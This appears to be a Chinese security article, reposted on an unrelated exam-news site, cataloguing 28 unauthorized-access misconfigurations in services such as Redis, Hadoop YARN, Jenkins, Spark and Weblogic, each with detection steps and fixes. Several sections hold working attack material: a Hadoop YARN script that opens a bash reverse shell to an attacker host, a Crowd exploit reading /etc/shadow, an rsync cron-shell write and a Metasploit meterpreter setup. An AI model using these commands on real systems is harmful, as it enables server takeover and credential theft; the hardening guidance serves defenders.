高考考试网
学习网站 网站地图
X
当前位置： 首页 高考资讯

v v访问限制（二十八种未授权访问漏洞合集）

时间：2023-08-02 作者： 小编 阅读量： 6 栏目名： 高考资讯

恶意人员可以利用默认配置弱点发动远程命令执行攻击，获取服务器权限，从而导致数据泄露。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。AtlassianCrowd和CrowdDataCenter在其某些发行版本中错误地启用了pdkinstall开发插件，使其存在安全漏洞。其HTTPServer默认开启时没有进行验证，而且绑定在0.0.0.0，所有用户均可通过API访问导致未授权访问。设置WWW-Authenticate，强制认证。dubbo因配置不当导致未授权访问漏洞。

这篇文章主要收集一些常见的未授权访问漏洞。未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

0x01 未授权漏洞预览

Active MQ 未授权访问Atlassian Crowd 未授权访问CouchDB 未授权访问Docker 未授权访问Dubbo 未授权访问Druid 未授权访问Elasticsearch 未授权访问FTP 未授权访问Hadoop 未授权访问JBOSS 未授权访问Jenkins 未授权访问Jupyter Notebook 未授权访问Kibana 未授权访问Kubernetes Api Server 未授权访问LDAP 未授权访问MongoDB 未授权访问memcached 未授权访问NFS 未授权访问rsync 未授权访问Redis 未授权访问RabbitMQ 未授权访问Solr 未授权访问Spring Boot Actuator 未授权访问Spark 未授权访问VNC 未授权访问Weblogic 未授权访问ZooKeeper 未授权访问Zabbix 未授权访问

0x02 Active MQ 未授权访问1. 漏洞简介

ActiveMQ 是一款流行的开源消息服务器。默认情况下，ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击，获取服务器权限，从而导致数据泄露。

2.漏洞检测

默认端口：8161

默认密码：admin/admin

3.漏洞修复
  • 针对未授权访问，可修改conf/jetty.xml文件，bean id为securityConstraint下的authenticate修改值为true，重启服务即可。
  • 针对弱口令，可修改conf/jetty.xml文件，bean id 为securityLoginService下的conf值获取用户properties，修改用户名密码，重启服务即可。

参考文章 https://www.ouyangxiaoze.com/2020/08/631.html

0x03 Atlassian Crowd 未授权访问1.漏洞简介

Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。

Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件，使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件，执行任意代码/命令，从而获得服务器权限。

2.漏洞检测

漏洞利用脚本github地址：https://github.com/jas502n/CVE-2019-11580

git clone https://github.com/jas502n/CVE-2019-11580cd CVE-2019-11580/python CVE-2019-11580.py http://192.168.18.138:8095curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat /etc/shadow

3.漏洞修复
  • 设置访问/crowd/admin/uploadplugin.action的源ip。
  • 升级最新版本(3.5.0以上)。
0x04 CouchDB 未授权访问1.漏洞简介

Apache CouchDB 是一个开源数据库，默认会在5984端口开放Restful的API接口，如果使用SSL的话就会监听在6984端口，用于数据库的管理功能。其HTTP Server默认开启时没有进行验证，而且绑定在0.0.0.0，所有用户均可通过API访问导致未授权访问。

在官方配置文档中对HTTP Server的配置有WWW-Authenticate：Set this option to trigger basic-auth popup on unauthorized requests，但是很多用户都没有这么配置，导致漏洞产生。

2.漏洞检测

使用vulhub搭建漏洞环境用于测试演示

cd /vulhub/couchdb/CVE-2017-12636docker-compose up -d

未授权访问测试命令

curl 192.168.126.130:5984curl 192.168.126.130:5984/_config

3.漏洞修复
  • 指定CouchDB绑定的IP （需要重启CouchDB才能生效）在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ，把 0.0.0.0 修改为 127.0.0.1 ，然后保存。 注：修改后只有本机才能访问CouchDB。
  • 设置访问密码（需要重启CouchDB才能生效）在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
  • 设置WWW-Authenticate，强制认证。
0x05 Docker 未授权访问1.漏洞简介

该未授权访问漏洞是因为Docker API可以执行Docker命令，该接口是目的是取代Docker命令界面，通过URL操作Docker。

  • Docker API 未授权访问漏洞分析和利用
2.漏洞检测

使用vulhub搭建漏洞环境用于测试演示

cd /vulhub/docker/unauthorized-rcedocker-compose builddocker-compose up -d

直接输入地址 http://your-ip:2375/version ；若能访问，证明存在未授权访问漏洞。

3.漏洞修复
  • 对2375端口做网络访问控制，如ACL控制，或者访问规则；
  • 修改docker swarm的认证方式，使用TLS认证；
0x06 dubbo 未授权访问1.漏洞简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架，使得应用可通过高性能的 RPC 实现服务的输 出和输入功能，可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

2.漏洞检测

连接进入dubbo 服务，进行操作

telent IP port

3.漏洞修复
  • 配置dubbo认证；
  • 设置防火墙策略，限定IP访问；
0x07 Druid 未授权访问1.漏洞简介

Druid是阿里巴巴数据库出品的，为监控而生的数据库连接池，并且Druid提供的监控功能，监控SQL的执行时间、监控Web URI的请求、Session监控，首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。

2.漏洞检测

直接在网站的url中后加上：

/druid/index.html/druid/websession.html/druid/datasource.html/druid/sql.html/druid/spring.html

如果可以无需登录，即可登录到Druid监控界面，则说明该网站存在Druid未授权访问漏洞

3.漏洞修复
  • 配置访问账号密码；
  • 禁止对外网开放访问；
0x08 Elasticsearch 未授权访问1.漏洞简介

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析，启动此服务默认会开放9200端口或者9300端口，可被非法操作数据。

2.漏洞检测

未授权访问测试命令

http://localhost:9200/_cat/indiceshttp://localhost:9200/_river/_search #查看数据库敏感信息http://localhost:9200/_nodes #查看节点数据

3.漏洞修复
  • 访问控制策略，限制IP访问，绑定固定IP；
  • 在config/elasticsearch.yml中为9200端口设置认证等；
0x09 FTP 未授权访问1.漏洞简介

FTP 弱口令或匿名登录漏洞，一般指使用 FTP 的用户启用了匿名登录功能，或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被黑客攻击，发生恶意文件上传或更严重的入侵行为。

2.漏洞检测

直接访问ftp路径：ftp://ip:port/

3.漏洞修复
  • 禁止匿名登录；
  • 配置强密码，密码长度建议八位以上，且密码应包括大小写字母、特殊字符、数字混合体；
0x10 Hadoopyarn 未授权访问1.漏洞简介

Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的MapReduce算法进行分布式处理，Yarn是Hadoop集群的资源管理系统。

此次事件主要因HadoopYARN资源管理系统配置不当，导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过RESTAPI部署任务来执行任意指令，最终完全控制服务器。

2.漏洞检测

使用vulhub搭建漏洞演示环境

cd /vulhub/hadoop/unauthorized-yarndocker-compose up -d

环境启动后，没有配置身份认证，可以未授权访问到Hadoop YARN ResourceManager WebUI页面。

http://192.168.126.130:8088/http://192.168.126.130:8088/cluster

利用该漏洞，可以进一步getshell

脚本源码如下：rce.py

#!/usr/bin/env pythonimport requeststarget = 'http://192.168.126.130:8088/' # 设置目标主机的ip地址lhost = '192.168.126.128' # 设置你攻击主机的监听ip地址，并且监听端口为9999url = target'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target'ws/v1/cluster/apps'data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',}requests.post(url, json=data)

3.漏洞修复
  • 升级Hadoop到2.x版本以上，并启用Kerberos认证功能，禁止匿名访问;
  • 设置“安全组”访问控制策略，将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口；
  • 如无必要，关闭 Hadoop Web 管理页面；
0x11 JBoss 未授权访问1.漏洞简介

漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/JMX-console就可以浏览 Jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

2.漏洞检测

直接访问 http://ip:port/ 看是否能进入 jmx-console 和 web-console 页面

http://ip:8080/http://ip:8080/jmx-console/http://ip:8080/jbossws/

3.漏洞修复
  • 添加 JMX 控制页面身份认证；
  • 进行JMX Console 安全配置；
  • 关闭jmx-console和web-console;
0x12 Jenkins 未授权访问1.漏洞简介

默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

2.漏洞检测

直接通过url输入以下地址，若能访问，证明存在未授权访问漏洞。

http://<target>:8080/managehttp://<target>:8080/script

未授权访问 http://<target>:8080/script 可以执行系统命令

# 命令格式println "whoami".execute().text

3.漏洞修复
  • 对后台控制页面做登录验证限制；
  • 升级Jenkins至新版本；
  • 禁止把Jenkins直接暴露在公网；
0x13 Jupyter Notebook 未授权访问1.漏洞简介

Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。

2.漏洞检测

使用vulhub搭建漏洞演示环境

cd /vulhub/jupyter/notebook-rcedocker-compose up -d

运行后，访问http://your-ip:8888将看到Jupyter Notebook的Web管理界面，并没有要求填写密码。

选择 new -> terminal 即可创建一个控制台：

直接执行任意命令：

3.漏洞修复
  • 开启身份验证，防止未经授权用户访问；
  • 访问控制策略，限制IP访问，绑定固定IP；
0x14 Kibana 未授权访问1.漏洞简介

Kibana如果允许外网访问，没有做安全的登录认证，也会被外部随意访问查看所有的数据，造成少数据泄露。

2.漏洞检测

直接访问kibana的页面

http://192.168.126.130:5601/https://192.168.126.130/app/kibana#http://192.168.126.130:5601/app/kibana#/

无需账号密码可以登录进入界面

3.漏洞修复
  • 设置kibana监听本地地址，并设置ElasticSearch登录的账号和密码；
  • 设置防火墙策略，限定IP访问服务；
0x15 Kubernetes Api Server 未授权1.漏洞简介

Kubernetes 的服务在正常启动后会开启两个端口：Localhost Port （默认8080）、Secure Port （默认6443）。这两个端口都是提供 Api Server 服务的，一个可以直接通过 Web 访问，另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限，那么攻击者就可以通过这两个接口去获取容器的权限。

2.漏洞检测

使用nmap寻找相关的端口和服务，直接访问脆弱的服务

端口：8080 http://10.10.4.89:8080/

端口：8080：api dashboard：http://10.10.4.89:8080/ui

端口：10250端口是kubelet API的HTTPS端口，通过路径/pods获取环境变量、运行的容器信息、命名空间等信息。

3.漏洞修复
  • 进行授权认证；
  • 使用Service Account令牌；
  • 设置防火墙策略，限定IP访问服务；
0x16 LDAP 未授权访问1.漏洞简介

LDAP中文全称为：轻型目录访问协议（Lightweight Directory Access Protocol），默认使用389， LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库，是一种以树状结构的目录数据库为基础。未对LDAP的访问进行密码验证，导致未授权访问。

2.漏洞检测

使用nmap寻找到相关的LDAP服务器，可以使用ldapbrowser直接连接，获取目录内容。

3.漏洞修复
  • 修改ldap的acl，禁止匿名访问。
  • 根据业务设置ldap访问白名单或黑名单；
0x17 mongodb 未授权访问1.漏洞简介

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作（增、删、改、查高危动作）而且可以远程访问数据库。

造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码（默认空口令），使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

2.漏洞检测

安装mongodb，然后连接到服务。

yum install mongodbmongo --host 10.2.20.34 --port 27017

3.漏洞修复
  • 限制绑定IP，启动时加入参数--bind_ip 127.0.0.1或在/etc/mongodb.conf文件中添加以下内容：bind_ip = 127.0.0.1；
  • 在admin.system.users中添加用户，启动认证；
  • 设置防火墙策略，限定 IP 访问服务；
  • 禁用HTTP和REST端口，修改配置文件或在启动的时候选择参数nohttpinterface=false；
0x18 Memcached 未授权访问1.漏洞简介

Memcached 端口对外开放并且没有配置认证选项，未授权用户可直接获取数据库中所有信息，造成严重的信息泄露。

2.漏洞检测

无需用户名密码，可以直接连接memcache 服务的11211端口

telnet 10.10.4.89 11211# 或者nc -vv 11211

使用了 stats 命令来输出 Memcached 服务信息

3.漏洞修复
  • 修改绑定的IP、端口和指定访问者IP；
  • 设置防火墙策略；
  • 禁止暴露在公网；
  • 配置memcached监听本地回环地址 127.0.0.1；
0x19 NFS 未授权访问1.漏洞简介

Network File System(NFS)，是由SUN公司研制的UNIX表示层协议(pressentation layer protocol)，能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后，由于nfs服务未限制对外访问，导致共享目录泄漏。

2.漏洞检测

#安装nfs客户端apt install nfs-common#查看nfs服务器上的共享目录showmount -e 192.168.126.130#挂载相应共享目录到本地mount -t nfs 192.168.126.130:/grdata /mnt#卸载目录umount /mnt

3.漏洞修复
  • 利用iptables限制端口2049和20048端口的访问，禁止外部访问；
  • 设置/etc/exports，对访问进行控制；
0x20 Rsync 未授权访问1.漏洞简介

rsync是Linux/Unix下的一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件和目录，默认运行在873端口。由于配置不当，导致任何人可未授权访问rsync，上传本地文件，下载服务器文件。

2.漏洞检测

使用vulhub搭建漏洞演示环境

cd /vulhub/rsync/commondocker-compose builddocker-compose up -d

使用Rsync命令即可进行检测。

rsync rsync://192.168.126.130:873/rsync rsync://192.168.126.130:873/src

利用rsync下载任意文件

rsync rsync://192.168.126.130:873/src/etc/passwd ./

或者写入任意文件

rsync -av shell rsync://192.168.126.130:873/src/etc/cron.d/shell

3.漏洞修复
  • 隐藏 module 信息：修改配置文件 list =false。
  • 权限控制：不需要写入权限的 module 的设置为只读 Read only = true;
  • 网络访问控制：使用安全组策略或白名单限制，只允许必要访问的主机访问;
  • 账户认证：只允许指定的用户利用指定的密码使用 rsync 服务;
  • 数据加密传输：Rsync 默认没有直接支持加密传输，如果需要 Rsync 同步重要性很高的数据，可以使用 ssh;

参考文章：https://www.freebuf.com/column/202771.html

0x21 Redis 未授权访问1.漏洞简介

redis是一个数据库，默认端口是6379，redis默认是没有密码验证的，可以免密码登录操作，攻击者可以通过操作redis进一步控制服务器。

Redis未授权访问在4.x/5.0.5以前版本下，可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。

2.漏洞检测

kali安装redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gzcd redis-stablemakecp src/redis-cli /usr/bin/redis-cli -h

使用redis-cli命令直接远程免密登录redis主机

redis-cli -h 目标主机IP

3.漏洞修复
  • 禁止使用root权限启动redis服务；
  • 对redis访问启动密码认证；
  • 添加IP访问限制，并更改默认6379端口；
0x22 RabbitMQ 未授权访问1.漏洞简介

RabbitMQ是目前非常热门的一款消息中间件，基于AMQP协议的，可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON，简单字符串或可以转换为JSON字符串的值列表。

2.漏洞检测

默认账号密码都是guest

http://10.10.4.89:15672http://10.10.4.89:25672/http://10.10.4.89:15692/

3.漏洞修复
  • 修改为强密码，删除默认的账号guest；
  • 禁止对外网开放，仅限于内部访问；
0x23 Solr 未授权访问1.漏洞简介

Solr是一个高性能，采用Java开发，基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息：solr的配置信息（包括路径，用户名，系统版本信息），数据库的配置信息（地址，用户名，密码），数据库搜索数据等。solr未授权访问的危害很大，轻则可查询所有数据库信息，重则可读取系统任意文件，甚至getshell。

2.漏洞检测

敏感目录扫描时加上一条 /solr/admin

http://xx.xx.com/solr/adminhttps://xx.xx.com/solr/admin

3.漏洞修复
  • 配置solr访问控制权限；
  • 禁止将solr暴露在公网；
0x24 SpringBoot Actuator 未授权访问1.漏洞简介

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块，借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下，如果没有做好相关权限控制，非法用户可通过访问默认的执行器端点（endpoints）来获取应用系统中的监控信息，从而导致信息泄露甚至服务器被接管的事件发生。

2.漏洞检测

直接访问相关路径：

http://10.2.20.48/autoconfig

请求方式

URL路径

功能描述

get

/autoconfig

提供了一份自动配置报告，记录哪些自动配置条件通过了，哪些没通过

get

/configprops

描述配置属性（包含默认值）如何注入 Bean

get

/beans

描述应用程序上下文里全部的 Bean，以及它们的关系

get

/dump

获取线程活动的快照

get

/env

获取全部环境属性

get

/env/{name}

根据名称获取特定的环境属性值

get

/health

报告应用程序的健康指标，这些值由 HealthIndicator 的实现类提供

get

/info

获取应用程序的定制信息，这些信息由 info 打头的属性提供

get

/mappings

描述全部的 URI 路径，以及它们和控制器（包含 Actuator 端点）的映射关系

get

/metrics

报告各种应用程序度量信息，比如内存用量和 HTTP 请求计数

get

/metrics/{name}

报告指定名称的应用程序度量值

post

/shutdown

关闭应用程序，要求 endpoints.shutdown.enabled 设置为 true（默认为 false）

get

/trace

提供基本的 HTTP 请求跟踪信息（时间戳、HTTP 头等）

3.漏洞修复
  • 禁用/env接口；
  • 升级到SpringBoot Actuator 2.0；
  • 禁止对外开放；
0x25 Spark 未授权访问1.漏洞简介

Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动访问控制，攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用，Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码，会导致任意代码执行，威胁Spark集群整体的安全性。

2.漏洞检测

nmap扫描出如下端口开放，则很有可能存在漏洞

6066/tcpopenhttp Jetty 9.3.z-SNAPSHOT8081/tcpopenhttp Jetty 9.3.z-SNAPSHOT8082/tcpopenhttp Jetty 9.3.z-SNAPSHOT

使用msf工具getshell

msf5>use exploit/linux/http/spark_unauth_rcemsf5>set payload java/meterpreter/reverse_tcpmsf5>set rhost 192.168.100.2msf5>set rport 6066msf5>set lhost 192.168.100.1msf5>set lport 4444msf5>set srvhost 192.168.100.1msf5>set srvport 8080msf5>exploit

3.漏洞修复
  • 对外关闭敏感端口；
  • 配置用户权限认证；

参考文章：https://www.cnblogs.com/KevinGeorge/p/10399844.html

0x26 VNC 未授权访问1.漏洞简介

VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。

VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

2.漏洞检测

使用 metasploit 进行批量检测，使用检测模块

auxiliary/scanner/vnc/vnx_none_auth

在kali上直接使用vncviewer命令连接主机。

vncviewer ip

3.漏洞修复
  • 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码；
  • 以最小权限的普通用户身份运行操作系统；
0x27 Weblogic 未授权访问1.漏洞简介

Weblogic是Oracle公司推出的J2EE应用服务器，CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

2.漏洞检测

使用vulhub搭建漏洞演示环境

cd vulhub/weblogic/CVE-2020-14882sudo docker-compose up -d

攻击者可以构造特殊请求的URL，即可未授权访问到管理后台页面：

http://192.168.126.130:7001/console/css/%2e%2e%2fconsole.portal

远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console ，并在 WebLogic Server Console 执行任意代码。

  • weblogic 权限绕过命令执行漏洞复现
3.漏洞修复
  • 下载补丁程序并安装更新；
0x28 ZooKeeper 未授权访问1.漏洞简介

ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务，ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境，任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

2.漏洞检测

stat：列出关于性能和连接的客户端的统计信息。

echo stat |ncat 127.0.0.1 2181

ruok：测试服务器是否运行在非错误状态。

echo ruok |ncat 127.0.0.1 2181

dump：列出未完成的会话和临时节点。

echo dump |ncat 127.0.0.1 2181

3.漏洞修复
  • 为ZooKeeper配置相应的访问权限；
  • 设置防火墙策略；
  • 禁止把Zookeeper直接暴露在公网；
0x29 Zabbix 未授权访问1.漏洞简介

zabbix是一款服务器监控软件，默认服务开放端口为10051，其由server、agent、web等模块组成，其中web模块由PHP编写，用来显示数据库中的结果。

2.漏洞检测

无需账户密码直接访问zabbix页面

3.漏洞修复
  • 设置zabbix的复杂口令，不要用默认口令或弱口令，禁用guest登录功能；
  • zabbix的server和agent都不要以root启动，不要设置AllowRoot=1；
  • 禁止agent执行system.run，不要设置EnableRemoteCommands=1；
,
    推荐阅读

  • 世界上笔画最多的字共有几画（世界上笔画最多的字共有多少画）

    最新出版的《汉语大词典》修订本收录了4个繁体龙字合并的字，共有64画，是我国汉字中笔画最多的。但《中华大字典》、《字汇和字汇补》和《康熙字典补》中均收录了字。在《中华字海》中，四个“龙”字分成两层四四方方地叠在一起，义同讋。讋又义同詟，具体字义为惧怕、震慑，在多部典籍中均有运用。繁体64划的“zhé”字，这个字由四个繁体的龙字组合在一起。该字显然比网络上盛传的“biáng”字笔画更多。

  • 郑州雕塑公园的人与自然（郑州最美雕塑公园）

    雕塑，指为美化城市或用于纪念意义而雕刻塑造、具有一定寓意、象征或象形的观赏物和纪念物，雕塑是造型艺术的一种。郑州市雕塑公园是一座以雕塑为主题的城市公园，承载露天美术馆功能，是具有郑州特色和中原文化内涵的雕塑艺术展示与欣赏的文化交流空间。位于市区西北部贾鲁河两岸，东邻西三环路，南接西流湖公园，西、北与高新技术产业开发区相连，占地面积35公顷，是中心城区西部生态走廊的重要组成部分。

  • 曹操为啥斩杨修（魏武帝曹操选择杀死秘书杨修的真实原因）

    在《三国演义》中，杨修之死的原因被归结于“恃才放旷，数犯曹操之忌”。书里面提到杨修犯了六次“忌”；改建花园大门、分食塞北酥饼、梦中杀人、告发曹丕阴事、教曹植斩门吏、为曹植作《答教》。其中，前三件事情属于日常生活的范围，后三件事情属于政治活动的范围。这个“鸡肋”事件才是杨修被杀的真正原因。可惜由于后人先入为主的思想在作祟，总认为是曹操在嫉妒杨修的才智。曹丕和曹植这两个人都进入了曹操接班候选人名单。

  • 传承大国工匠精神树立远大职业梦（以专业技能为根基）

    为了最后的狂欢2017年10月，在第44届世赛时装技术项目的赛场上，胡萍和来自29个国家和地区的选手同台竞技。经过连续18个小时的现场比拼，完成了包括立体裁剪制作、服装款式设计、连衣裙设计与制版等五个单元的比赛，最终，胡萍以绝对优势夺得金牌。胡萍在确定不是自己操作的原因后立刻举手报告，请求暂停比赛时间，场地负责人检查完机器后，立即调换了胡萍的缝纫机。在授课的同时，胡萍也是中国队参加世赛时装技术项目的一名教练。

  • 疫苗第三针加强针哪几种可以打（关于疫苗第三针和第四针怎么打）

    随着疫苗接种的普及，新冠患者重症和死亡率越来越低，或将成为人类战胜新冠病毒的最有效武器。新冠疫苗目前主要有五种类型：灭活疫苗、重组蛋白疫苗、腺病毒载体疫苗、减毒流感病毒载体疫苗和核酸疫苗。因为新冠病毒变异较快，目前疫苗均无法完全防止感染，只能增强人体对病毒的抵抗力。面对不断变异的新冠病毒，疫苗始终是最有效的防范武器之一。为有效应对不断变异的新冠病毒，我们需尽快完成加强针接种，以做好第四针的准备。

  • 大脑注入知识的科幻小说（与外星科技斗争）

    在与外星科技的斗争中，不幸身亡，重生到一百年前的一个纨绔子弟身上。“你小子运气好，那王八蛋除了渎职还有被查出通敌的罪名，再加上老首长的活动，你小子算是躲过一劫，不过这身军装是再也不能再穿了。”刘勇厌恶的说道。“便宜这王八蛋了，可怜我的兄弟们再也不能回来了。”刘勇走上前来拍着他的肩膀轻声说道，然后冲着后面的几个狱警瞪着眼睛喊道：“愣着干嘛，还不给我兄弟解除刑具。”

  • 帝国时代二秘籍地图（帝国时代决定版秘籍）

    会发射子弹，有超高的射击距离，非常高的准确性，装甲和伤害。驻守时不能攻击，但可以向建筑物授予攻击加成。woofwoof:把鸟变成“飞行狗”。他们是披着红色斗篷的飞行狗。

  • 成都的兔头哪里最好吃（成都最好吃的兔头）

    好吃正宗的老妈兔头还是双流这家，开了20多年的，据说是全国的总店哟。周末来的，生意之火爆，坐满了都！他们还有各种冒菜，这也是一绝，冒素菜、冒鸭肠啥的都有！特别是冒素菜里面那个土豆，好糯噢！鸭肠一筷子夹起来像吃面一样，脆乎乎的，很入味！要是一家人请客中午、晚上出来吃也合适！兔头现场和可以抽真空打包，顺丰寄还是多新鲜。就是要自己给邮费，算下来就更贵了。真的是正宗老店无疑了！

  • 秦始皇陵地宫怎么修建的（何时能重见天日）

    秦始皇帝陵保护范围共20.32平方千米。其中重点保护区2.74平方千米。尽管秦始皇帝陵地宫并未打开，但对其外围的考古发掘一直在进行。经过多年的考古调查和发掘研究，目前已在秦始皇帝陵陵区发现大小形状不同、内涵各具特色的陪葬坑、陪葬墓等600余处，出土了包括秦兵马俑在内的珍贵文物5万余件。地宫之谜目前，秦始皇帝陵的考古发掘还只在外围，核心地宫仍然笼罩在重重谜团之中。

  • 猪脚的做法大全家常菜做法（猪脚的家常菜做法）

    下面更多详细答案一起来看看吧!猪脚的做法大全家常菜做法香辣猪蹄材料：猪蹄、山药、小米椒、姜切丝。黄豆煲猪手材料：黄豆、猪手、姜片、香葱、肉蔻。

热门推荐

天津耀华中学详解（天津市三所报考难度大揭秘） ears怎么读（英语ears怎么读） 一斤高粱出多少酒（这里给出了答案） 全球经济发展速度最快的国家（21世纪以来全球经济发展最快的200个国家和地区） 宁波市辖区内国税机关各办税服务厅一览表 全球一线城市房价对比（全球一线城市房价比较） 广东版五年级上册英语unit2课文（人教版五年级上册英语unit2教材B部分课文翻译） 近二十年全球人口趋势（世界人口展望2022报告） 华为手机pdf如何转成word文档（一秒将纸质文档转成电子文档） 亲家公的母亲过世随多少礼（亲家公的母亲过世）

热门推荐

pc街机平台有哪些（童年的那个梦想） 分段函数求极限 分段函数求极限的步骤 砂锅酸菜粉条的做法（家常砂锅酸菜粉条的做法） 无证驾驶交强险赔偿限额 无证驾驶车辆受损交强险是否赔偿 锤子手机销量怎么样（锤子手机销量排名） 世界观是什么意思（什么是世界观） 三部冷门高质量的末世小说（小说纯爱活着再简单也要好好珍惜现在の末世文） 无锡中考报名条件要求是什么 无锡中考报考指南 冷冻虾里最好吃的是什么虾（这种满肚子都是籽） 现代主义艺术的四个流派（谈谈后现代主义艺术思潮的基本特征） 酸菜鱼窍门（酸菜鱼有什么窍门） 南瓜糯米饭的做法（南瓜糯米饭的做法与步骤） 车被蹭了没监控怎么处理（车被蹭了还没有监控） 滇味普洱茶凉面的做法（怎么做滇味普洱茶凉面） 鲶鱼效应是指的什么（鲶鱼效应介绍） 汽车玻璃膜是贴在车内还是外面（最无奈的问题汽车膜是贴在汽车玻璃的里面还是外面呢） 别克威朗18款首保（别克威朗四年六保作业） 腊肉怎么吃不咸不腻（腊味这样吃更健康） 小学生运动会稿件（小学生运动会稿件怎么写） 史铁生我与地坛如何表达感情（史铁生我与地坛中的十句话）